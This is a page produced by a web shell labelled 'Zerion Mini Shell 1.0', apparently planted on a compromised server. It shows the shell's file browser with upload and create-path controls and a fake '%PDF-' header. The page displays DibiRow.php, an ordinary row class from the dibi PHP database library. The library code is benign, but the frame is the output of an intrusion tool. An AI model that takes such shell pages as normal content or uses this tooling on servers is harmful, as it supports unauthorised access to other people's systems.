%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/old2/_music/diplomka/diplomka/src/API/libs/dibi/libs/
Upload File :
Create Path :
Current File : /www/old2/_music/diplomka/diplomka/src/API/libs/dibi/libs/DibiRow.php

<?php

/**
 * This file is part of the "dibi" - smart database abstraction layer.
 *
 * Copyright (c) 2005 David Grudl (http://davidgrudl.com)
 *
 * For the full copyright and license information, please view
 * the file license.txt that was distributed with this source code.
 */



/**
 * Result set single row.
 *
 * @author     David Grudl
 * @package    dibi
 */
class DibiRow implements ArrayAccess, IteratorAggregate, Countable
{

	public function __construct($arr)
	{
		foreach ($arr as $k => $v) $this->$k = $v;
	}



	public function toArray()
	{
		return (array) $this;
	}



	/**
	 * Converts value to DateTime object.
	 * @param  string key
	 * @param  string format
	 * @return DateTime
	 */
	public function asDateTime($key, $format = NULL)
	{
		$time = $this[$key];
		if (!$time instanceof DibiDateTime) {
			if ((int) $time === 0) { // '', NULL, FALSE, '0000-00-00', ...
				return NULL;
			}
			$time = new DibiDateTime(is_numeric($time) ? date('Y-m-d H:i:s', $time) : $time);
		}
		return $format === NULL ? $time : $time->format($format);
	}



	/**
	 * Converts value to UNIX timestamp.
	 * @param  string key
	 * @return int
	 */
	public function asTimestamp($key)
	{
		trigger_error(__METHOD__ . '() is deprecated.', E_USER_WARNING);
		$time = $this[$key];
		return (int) $time === 0 // '', NULL, FALSE, '0000-00-00', ...
			? NULL
			: (is_numeric($time) ? (int) $time : strtotime($time));
	}



	/**
	 * Converts value to boolean.
	 * @param  string key
	 * @return mixed
	 */
	public function asBool($key)
	{
		trigger_error(__METHOD__ . '() is deprecated.', E_USER_WARNING);
		return $this[$key];
	}



	/** @deprecated */
	public function asDate($key, $format = NULL)
	{
		trigger_error(__METHOD__ . '() is deprecated.', E_USER_WARNING);
		if ($format === NULL) {
			return $this->asTimestamp($key);
		} else {
			return $this->asDateTime($key, $format === TRUE ? NULL : $format);
		}
	}



	/********************* interfaces ArrayAccess, Countable & IteratorAggregate ****************d*g**/



	final public function count()
	{
		return count((array) $this);
	}



	final public function getIterator()
	{
		return new ArrayIterator($this);
	}



	final public function offsetSet($nm, $val)
	{
		$this->$nm = $val;
	}



	final public function offsetGet($nm)
	{
		return $this->$nm;
	}



	final public function offsetExists($nm)
	{
		return isset($this->$nm);
	}



	final public function offsetUnset($nm)
	{
		unset($this->$nm);
	}

}

Zerion Mini Shell 1.0